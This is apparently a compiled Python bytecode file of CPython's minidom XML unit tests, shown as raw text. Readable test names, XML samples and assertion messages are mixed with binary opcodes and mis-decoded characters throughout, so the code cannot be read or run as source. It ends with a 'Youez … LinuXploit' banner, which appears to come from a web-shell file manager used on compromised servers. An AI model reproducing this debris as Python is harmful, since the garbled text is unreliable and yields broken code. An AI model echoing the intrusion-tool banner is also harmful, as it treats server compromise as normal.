z5MinidomTest.testNormalizeDeleteWithTwoNonTextSiblingscCs�td�}|j}|j|jd��|j|jd��|j|jd��|j|jd��|j|jd��|jt|j�dkoz|jjdkd�|j�|jt|j�dko�|jjdko�|j	|j
ko�|j	jdko�|j	jdko�|j	j
dkd	�|j�dS)
Nz<doc/>r�rZfourth�z,testNormalizeDeleteAndCombine -- preparationr;Zsecondfourthz'testNormalizeDeleteAndCombine -- result)rr7rNrMr!rBr?rCrrDrErZrGrHr0)rrrIrrr�testNormalizeDeleteAndCombine�s&

z)MinidomTest.testNormalizeDeleteAndCombinecCs6td�}|j}|jdj|jd��|jdj|jd��|jdjdj|jd��|jdj|jd��|j|jd��|jt|j�dk�o$|jjdk�o$t|jdj�d	k�o$|jdjjd	k�o$t|jdj�dk�o$|jdjjdk�o$t|jdjdj�d
k�o$|jdjdjjd
kd�|j�|jt|j�d
k�o�|jjd
k�o�t|jdj�d
k�o�|jdjjd
k�o�t|jdj�d
k�o�|jdjjd
k�o�t|jdjdj�dk�o�|jdjdjjdkd�|j|jdjdj	d
k�o.|jdjdjdj	dk�o.|jdjdj	dkd�|j|jdjdj
dk�o$|jdjdj|jdjdk�o$|jdjdjdk�o$|jdjdj
|jdjdk�o$|jdjdj
dk�o$|jdjdj|jdjdk�o$|jdjdjdk�o$|jdjdj
|jdjdkd�|j�dS)Nz)<doc><o><i/>t</o><o><o>t2</o>t3</o></doc>rr��xr;Zx2Zx3r<r>r:ztestNormalize2 -- preparationz$testNormalize2 -- childNodes lengthsZtxZt2x2Zt3x3z$testNormalize2 -- joined text fieldsz"testNormalize2 -- sibling pointers)
rr7r?rNrMr!rBrCrrZrHrGr0)rrrIrrr�testNormalizeRecursion�sXz"MinidomTest.testNormalizeRecursioncCs8td�}|jjd}|j|jtj�|j�|j�dS)Nz<o>text</o>r)	rr7r?r�r�r�	TEXT_NODErr0)rrr_rrr�testBug0777884>s
zMinidomTest.testBug0777884cCs>td�}|j}d|jd_|j�|j|jdjdkd�dS)Nz<o><i/>t</o>r�r;z)Final child's .nextSibling should be NonerW)rr7r?rfrr!rH)rrr#rrr�testBug1433694FszMinidomTest.testBug1433694cCsjtd�}|j}|j\}}}|j|j|koX|jdkoX|j|koX|j|koX|jdkoX|j|kd�|j�dS)Nz<doc><?pi?>text?<elm/></doc>�testSiblings)rr7r?r!rHrGr0)rrrIr�r_Zelmrrrr(Ns



zMinidomTest.testSiblingscCsrtd�}|j}|jd}|j\}}|jd}|j|j|ko`|j|ko`|j|ko`|j|ko`|j|kd�|j�dS)Nz3<doc><elm1><elm2/><elm2><elm3/></elm2></elm1></doc>r�testParents)rr7r?r!r�r0)rrrIZelm1Zelm2aZelm2bZelm3rrrr)\s





zMinidomTest.testParentscCs�td�}|j}|d}|j|d|jd�ko||jd�dko||jjd�|jdko||jjd�|jdko||jjd�jjd�dkd�|j�dS)Nz<doc><e/><e/></doc>rr;ztest NodeList.item())rr?r!rr0)rrZchildrenZdocelemrrr�testNodeListItemkszMinidomTest.testNodeListItemcCs�td�}|j|j�d�|j|jd�d�|j|jd�d�|j|jd�d�|j|jd	�d
jd	��|jttd�|j�dS)Nz<foo>&#x20ac;</foo>u$<?xml version="1.0" ?><foo>€</foo>zutf-8s4<?xml version="1.0" encoding="utf-8"?><foo>€</foo>ziso-8859-15s8<?xml version="1.0" encoding="iso-8859-15"?><foo>�</foo>zus-asciis;<?xml version="1.0" encoding="us-ascii"?><foo>&#8364;</foo>zutf-16u5<?xml version="1.0" encoding="utf-16"?><foo>€</foo>s0<fran�ais>Comment �a va ? Tr�s bien ?</fran�ais>)rr�rF�encoder`�UnicodeDecodeErrorr0)rrrrr�
testEncodingsws
zMinidomTest.testEncodingsc@seZdZdZdd�ZdS)zMinidomTest.UserDataHandlerrcCs*|j||d|�|j|dd�d|_dS)Nr;)r�called)rr
rrZrrrrrr
�sz"MinidomTest.UserDataHandler.handleN)rrrr.r
rrrrr�srcCs(t�}|jd�}|j|jd�dk�|jddd�|j|jd�dk�|jddd�|jddd�|j|jd�dk�|j|jd�dk�|jddd�|j|jd�dk�|j|jd�dk�|j�}|jdd|�|jd�}|j|j�o|jd�dk�o|jd�dk�|j�|j�|j�dS)Nr�rL�r=�
r;)	rr@r!ZgetUserDatarrr�r.r0)rr�nr�crrr�testUserData�s*

zMinidomTest.testUserDatacCs@|jtjj|j|dd�td�}|jtjj|j|tjjd�dS)Nzhttp://xml.python.org/nsz	xmlns:fooz<doc/>rL)r`rr�NamespaceErr�
renameNoderZWrongDocumentErrr�)rrr#r�rrr� checkRenameNodeSharedConstraints�s
z,MinidomTest.checkRenameNodeSharedConstraintscCsbtd�}|j}|j}|jd}|j|tjjd�}|j|jdko�|j	dko�|j
dko�|jtjjko�|jdko�|j
dko�|jd�dko�|jd�j|�o�|dj|�o�|jj|�o�|jj|��|j|dd�}|j|jdk�ov|j	dk�ov|j
dk�ov|jdk�ov|jdk�ov|j
dk�ov|jd�dk�ov|jd�dk�ov|jd�j|��ov|jdd�j|��ov|dj|��ov|d
j|��|j|dd�}|j|jdk�oX|j	dk�oX|j
d	k�oX|jdk�oX|jd
k�oX|j
dk�oX|jd�dk�oX|jd�dk�oX|jd�dk�oX|jdd�dk�oX|jd�j|��oX|jdd	�j|��oX|dj|��oX|dj|��|j|tjjd�}|j|jdk�o.|j	dk�o.|j
dk�o.|jtjjk�o.|jdk�o.|j
dk�o.|jd�dk�o.|jd�dk�o.|jd�dk�o.|jd�dk�o.|jdd�dk�o.|jd�j|��o.|dj|��|jtjj|j|dd�|j||�|j�dS)Nz<doc a='v'/>rhr��v�http://xml.python.org/nsr2�http://xml.python.org/ns2zp:dr��pr�Zxmlns)r8r2)r9r�)rr7rbr5rrr�r!r�rYr�r�r�rersr�rrdr�r`r4r6r0)rrrJZattrmapr�rrr�testRenameAttribute�s�




zMinidomTest.testRenameAttributecCs�td�}|j}|j|tjjd�}|j|jdkod|jdkod|j	dkod|j
tjjkod|jdkod|jj
|��|j|dd�}|j|jdko�|jdko�|j	dko�|j
dko�|jdko�|jj
|��|j|dd�}|j|jdk�o|jdk�o|j	dk�o|j
dk�o|jdk�o|jj
|��|j|tjjd	�}|j|jd	k�ov|jd	k�ov|j	dk�ov|j
tjjk�ov|jdk�ov|jj
|��|j||�|j�dS)
Nz<doc/>rhzhttp://xml.python.org/nsr�zhttp://xml.python.org/ns2zp:cr2r:r�)rr7r5rrr�r!r�rYr�r�r�rr�r6r0)rrrJrrr�testRenameElements@






zMinidomTest.testRenameElementcCsLtjjj�jtjjdd�}|jd�}|jtjj|j	|tjjd�|j
�dS)Nr��commentrL)rrrrr	r�rXr`r�r5r0)rrr#rrr�testRenameOther+s
zMinidomTest.testRenameOthercCs:td�}|j}|jd}|j|jtj�|j|d�|j|j	d��|j|d�|j
|jd�|�|j|d�|jd�}|j|�|j	d	�}|j|�|j|d�|j|d	�|j
d
�}|j||�|}|j|d�|j|d	�|jdd�}|j||�|}|j|d�|j|d	�|j|�|j|d
�|j|d
�dS)Nz<doc>a</doc>rrhr�Zabr2�cabr=r�r#�y�zZcabd)rr7r?r�r�rr%r&rNrMrA�createCDATASectionrXr@r]�createProcessingInstruction�removeChild)rrrJr_�splitter�text2r#rrr�
testWholeText5s8






zMinidomTest.testWholeTextcCsHtd�}|j}|j}|j|j|kd�|j||�|j|j|kd�dS)Nz<doc><e/></doc>zBefore replaceChild()zAfter replaceChild())rr7rDr!r�r])rrrJr�rrr�testPatch1094164YszMinidomTest.testPatch1094164cCs�dd�}|�\}}}}}|jd�}|j|d�|j|d�|jt|j�dk�|�\}}}}}|jd�}|j|d�|j|d�|jt|j�dk�|�\}}}}}|jd�}|j|d�|j|dko�t|j�d	k�dS)
NcSsRtd�}|j}|j}|j}|j}|j|jd�|�|j|jd�|�|||||fS)Nz<doc>a<e/>d</doc>r�r2)rr7rDrErHrArMrB)rrJ�text1rFrErrr�setupcsz/MinidomTest.testReplaceWholeText.<locals>.setupznew contentr�r<r?r!r�r:)ZreplaceWholeTextr&r!rBr?)rrJrrJrIrErFr_rrr�testReplaceWholeTextbs 



z MinidomTest.testReplaceWholeTextcCsztd�}|j}|j}|j|jdko.|jtjjk�dj	�}x:|D]2}|j
|�}|j}|jt|d�on|jtjjk�q@WdS)Nal<!DOCTYPE doc [
  <!ENTITY e1 SYSTEM 'http://xml.python.org/e1'>
  <!ENTITY e2 SYSTEM 'http://xml.python.org/e2'>
  <!ATTLIST doc id   ID       #IMPLIED 
                ref  IDREF    #IMPLIED 
                refs IDREFS   #IMPLIED 
                enum (a|b)    #IMPLIED 
                ent  ENTITY   #IMPLIED 
                ents ENTITIES #IMPLIED 
                nm   NMTOKEN  #IMPLIED 
                nms  NMTOKENS #IMPLIED 
                text CDATA    #IMPLIED 
    >
]><doc id='name' notid='name' text='splat!' enum='b'       ref='name' refs='name name' ent='e1' ents='e1 e2'       nm='123' nms='123 abc' />z+id notid text enum ref refs ent ents nm nmsr�)rr7Z
schemaTyper!r��	namespacerrr��splitrs�hasattr)rrrJr%�namesr�rhrrr�testSchemaTypes

zMinidomTest.testSchemaTypecCs@td�}|j}|jd�}|jd�}|j|jd�dkoB|joB|j�|jd�|j|j|jd��op|jop|j�|jd�|j|j|jd��o�|j|jd��o�|jo�|j�|jd�}d|_	|j
|�|j|jd�dk�o|j|jd���o|j�o|j�o|j�|j|tj
jd�|j|j|jd���o8|j�dS)Nz<doc a1='v' a2='w'/>r�r�r7�w�an)rr7rsr!�getElementByIdr�r�r�ZcreateAttributere�setAttributeNoder5rrr�)rrr�r�r��a3rrr�testSetIdAttribute�s6









zMinidomTest.testSetIdAttributecCsrd}d}td|d|d�}|j}|j|d�}|j|d�}|j|jd�dko^|jo^|j�|j|d�|j|j|jd��o�|jo�|j�|j|d�|j|j|jd��o�|j|jd	��o�|jo�|j�|j|d�}d|_	|j
|�|j|j|jd	���|j|j�|j|j�|j|j�|j|jd�dk�|j|tj
jd
�|j|j|jd	���oj|j�dS)Nzhttp://xml.python.org/ns1zhttp://xml.python.org/ns2z<doc xmlns:ns1='z
' xmlns:ns2='z' ns1:a1='v' ns2:a2='w'/>r�r�r7rQrR)rr7r�r!rSr�ZsetIdAttributeNSr��createAttributeNSrerTr5rrr�)r�NS1�NS2rr�r�r�rUrrr�testSetIdAttributeNS�s<


z MinidomTest.testSetIdAttributeNScCsnd}d}td|d|d�}|j}|j|d�}|j|d�}|j|jd�dko^|jo^|j�|j|�|j|j|jd��o�|jo�|j�|j|�|j|j|jd��o�|j|jd	��o�|jo�|j�|j|d�}d|_	|j
|�|j|j|jd	���|j|j�|j|j�|j|j�|j|jd�dk�|j|tj
jd
�|j|j|jd	���of|j�dS)Nzhttp://xml.python.org/ns1zhttp://xml.python.org/ns2z<doc xmlns:ns1='z
' xmlns:ns2='z' ns1:a1='v' ns2:a2='w'/>r�r�r7rQrR)rr7r�r!rSr�ZsetIdAttributeNoder�rWrerTr5rrr�)rrXrYrr�r�r�rUrrr�testSetIdAttributeNode�s<




z"MinidomTest.testSetIdAttributeNodecCs*||fg}�x|�r$|j�\}}|j|j|j�|jt|j�t|j��|j|j|j�|j|j|��|j|j|��|jtj	k�r�t|j
�t|j
�t|j�t|j�|jt|j
�t|j
��|jt|j�t|j��xltt|j��D]Z}|jj
|�}|jj
|�}|j|j|j�|j|j|j�|j|j|j�|j||f�q�Wxntt|j
��D]\}|j
j
|�}	|j
j
|�}
|j|	j|
j�|j|	j|
j�|j|	j|
j�|j|	|
f��q\W|jtjk�r�|j|jj|��|j|jj|��x2tt|j��D] }|j|j||j|f��q�WqWdS)N)�popr�r�rBr?rYr(r�rr�rrr�rr�r�r�rr�Z
DOCUMENT_NODErr)rrr��stackZn1Zn2r�Zno1Zno2r�r�rrr�assert_recursive_equalsD





z"MinidomTest.assert_recursive_equalcCsHtt�}x:tdtjd�D]&}tj||�}tj|�}|j||�qWdS)Nr:r;)r�sampler��pickleZHIGHEST_PROTOCOL�dumps�loadsr^)rr�protor$r�rrr�testPickledDocument,s

zMinidomTest.testPickledDocumentcCs"tt�}tj|�}|j||�dS)N)rr_�copy�deepcopyr^)rrr�rrr�testDeepcopiedDocument3s
z"MinidomTest.testDeepcopiedDocumentcCs(t�}|j|jd��|jt|j�dS)Nzfoo--bar)r
rNrXr`�
ValueErrorrF)rrrrr�(testSerializeCommentNodeWithDoubleHyphen8sz4MinidomTest.testSerializeCommentNodeWithDoubleHyphencCs,td�}t|j��}|j|jtjjk�dS)Nz$<element xmlns=''>
<foo/>
</element>)rrFr!r�rrr�)rrr�rrr�testEmptyXMLNSValue>szMinidomTest.testEmptyXMLNSValuec	Cs$|jtd��td�WdQRXdS)NzUnsupported syntaxzE<element xmlns:abc="http:abc.com/de f g/hi/j k"><abc:foo /></element>)ZassertRaisesRegexrhr)rrrr�!testExceptionOnSpacesInXMLNSValueDsz-MinidomTest.testExceptionOnSpacesInXMLNSValuecCsftt�}|jjd�d}|jtjj|j|�t	|j
�}|j|j
d�t	|j
�}|j||dk�dS)NZTITLErr;)rr/r7r6r`rrr}rDrBr?r)rrZ	title_tagZnum_children_beforeZnum_children_afterrrr�testDocRemoveChildHs

zMinidomTest.testDocRemoveChildcCstt�}|jdd�}d|_dS)Nr@rAZcrash)rr/rCrf)rrr�rrr�"testProcessingInstructionNameErrorQsz.MinidomTest.testProcessingInstructionNameErrorN)r)�rrrr!r&r,r3r5r8rKrTrVr[r\r^rcrirjrkrlrnrqrvr{r|r~r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�rrrrrrrrr	rrrrrrr r"r$r&r'r(r)r*r-rr3r6r;r<r>rGrHrKrPrVrZr[r^rdrgrirjrkrlrmrrrrr4s+
		&
		
		"/?M+
$	!$$%	r�__main__)N)rer`r rZunittestZxml.dom.minidomrrrrrrZfindfiler/r_r
rrZTestCaserr�mainrrrr�<module>s4
0

Youez - 2016 - github.com/yon3zu
LinuXploit